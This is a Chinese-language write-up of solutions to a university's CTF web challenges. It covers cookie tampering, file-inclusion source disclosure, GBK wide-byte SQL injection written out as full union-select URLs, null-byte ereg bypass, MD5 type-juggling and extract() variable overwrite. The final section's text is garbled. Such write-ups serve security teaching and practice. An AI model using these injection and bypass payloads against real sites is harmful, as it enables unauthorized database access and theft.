1. 程式人生 > >南郵CTF-WEB-write-up 教程詳細解說

南郵CTF-WEB-write-up 教程詳細解說

單身一百年也沒用

傳送門:biu~

如圖所示

單擊之後,跟我說沒有key
這裡寫圖片描述

這種題目就直接用burpsuit抓包,觀察請求迴應資訊
這裡寫圖片描述
答案很明顯了,flag出來了

Download~!

想下啥就下啥~別下音樂,不騙你,試試下載其他東西~
真·奧義·傳送:點我
這裡寫圖片描述
點選了那兩個音樂連結,發現是正常的音樂檔案,審查一下元素,發現了問題這裡寫圖片描述
這裡的連結很可能存在檔案包含漏洞,可以試試用download.php的base64編碼看看能否取出原始碼。
這裡寫圖片描述
獲得download的原始碼
審計程式碼發現這裡面有一個include(“hereiskey.php”);我們繼續按著前面的思路得到原始碼
這裡寫圖片描述
flag到手了

COOKIE就是甜餅的意思~
地址:傳送門
TIP: 0==not
這題目一進來啥也沒有,根據提示,看來是要抓包分析了
這裡寫圖片描述發現了Cookie: Login=0,前面的提示是0==not ,那麼1應該就是==yes 咯
這裡寫圖片描述flag到手了!

MYSQL

不能每一題都這麼簡單嘛
你說是不是?
題目地址
這裡寫圖片描述這題涉及到了每個網站都有的robots.txt,直接在url裡面轉入robots.txt
這裡寫圖片描述
這裡,提示了我們sql.php,進行程式碼審計吧,審計發現:intval()將變數轉成整數型別,且,數值不能是1024,那麼就有可能是小數咯
這裡寫圖片描述flag到手

sql injection 3

關於這題,大家可以看看我在簡書上寫的sqlmap相關該題題解:點我
here
這裡寫圖片描述這裡看連結名字就看出來了,GBK寬位元組注入啊,寬位元組注入需要用到啥?%df之類的(具體的寬位元組注入方面的內容這裡不贅述了,大家百度一下)
這裡寫圖片描述
這裡寫圖片描述
經過這兩個,大家可以看到,order by 2 和顯示位為 “2” ,接下來可以順利進行爆庫,查詢名為’sae-chinalover’的資料庫的表
database

查表
這裡寫圖片描述
這裡寫圖片描述
這裡寫圖片描述
這裡寫圖片描述
相關程式碼

http://chinalover.sinaapp.com/SQL-GBK/index.php?id=-1%df%27%20union%20select%201,table_name%20from
%20information_schema.tables%20where%20table_schema=0x7361652D6368696E616C6F766572%20limit%200,1%23 http://chinalover.sinaapp.com/SQL-GBK/index.php?id=-1%df%27%20union%20select%201,table_name%20from%20information_schema.tables%20where%20table_schema=0x7361652D6368696E616C6F766572%20limit%201,1%23 http://chinalover.sinaapp.com/SQL-GBK/index.php?id=-1%df%27%20union%20select%201,table_name%20from%20information_schema.tables%20where%20table_schema=0x7361652D6368696E616C6F766572%20limit%202,1%23 http://chinalover.sinaapp.com/SQL-GBK/index.php?id=-1%df%27%20union%20select%201,table_name%20from%20information_schema.tables%20where%20table_schema=0x7361652D6368696E616C6F766572%20limit%203,1%23

經一步步查詢,得到flag在ctf4中

http://chinalover.sinaapp.com/SQL-GBK/index.php?id=-1%df%27%20union%20select%201,column_name%20from%20information_schema.columns%20where%20table_name=0x63746634%20limit%200,1%23
http://chinalover.sinaapp.com/SQL-GBK/index.php?id=-1%df%27%20union%20select%201,column_name%20from%20information_schema.columns%20where%20table_name=0x63746634%20limit%201,1%23

flag

http://chinalover.sinaapp.com/SQL-GBK/index.php?id=-1%df%27%20union%20select%201,flag%20from%20ctf4%23

這裡寫圖片描述

/x00

題目地址:題目有多種解法,你能想出來幾種?
這裡寫圖片描述這題目要求我們輸入一個nctf的引數值,且這個引數值必須為 1. 數字 2. #biubiubiu 就是讓我們繞過判斷語句

ereg的漏洞: 會被%00截斷及遇到%00則預設為字串的結束
所以我們可以構造繞過語句:nctf=1%00%23biubiubiu
這裡寫圖片描述

http://teamxlc.sinaapp.com/web4/f5a14f5e6e3453b78cd73899bad98d53/index.php?nctf=1%00%23biubiubiu

bypass again

地址:依舊是弱型別
這裡寫圖片描述通過審計程式碼,發現他讓你既要a!=b 又要 md5的a b值相等。
這裡寫圖片描述

這裡寫圖片描述

  1. 240610708跟QNKCDZO 利用不同的字串可能產生相同的md5 繞過
  2. a[]=1&b[]=2 利用php get 可以陣列,而md5() 不能處理陣列

變數覆蓋

聽說過變數覆蓋麼?
地址: 題目地址
開啟頁面後發現有個原始碼“source at /source.php” 點選進去是讓我們程式碼審計與變數覆蓋有關:經查詢,變數覆蓋與程式碼中的extract()有關,這裡放出一個連結,與變數覆蓋的相關知識有關,大家可以看看:點我
這裡是 extract($_POST);提交引數 我們可以抓包修改
這裡寫圖片描述
payload:pass=1&thepassword_123=1

PHP是世界上最好的語言

聽說PHP是世界上最好的語言
地址:題目地址
這裡寫圖片描述
tips我們還有一個index.txt檔案
這裡寫圖片描述
程式碼審計了,要繞過if(eregi(“hackerDJ”, GET[id]))
並確保經過urldecode(GET[id])GET[id]==hackerDJeregiphpidURLURLGET[id]=urldecode(GET[id]);,hackerDJURL_GET[id] == “hackerDJ”
flag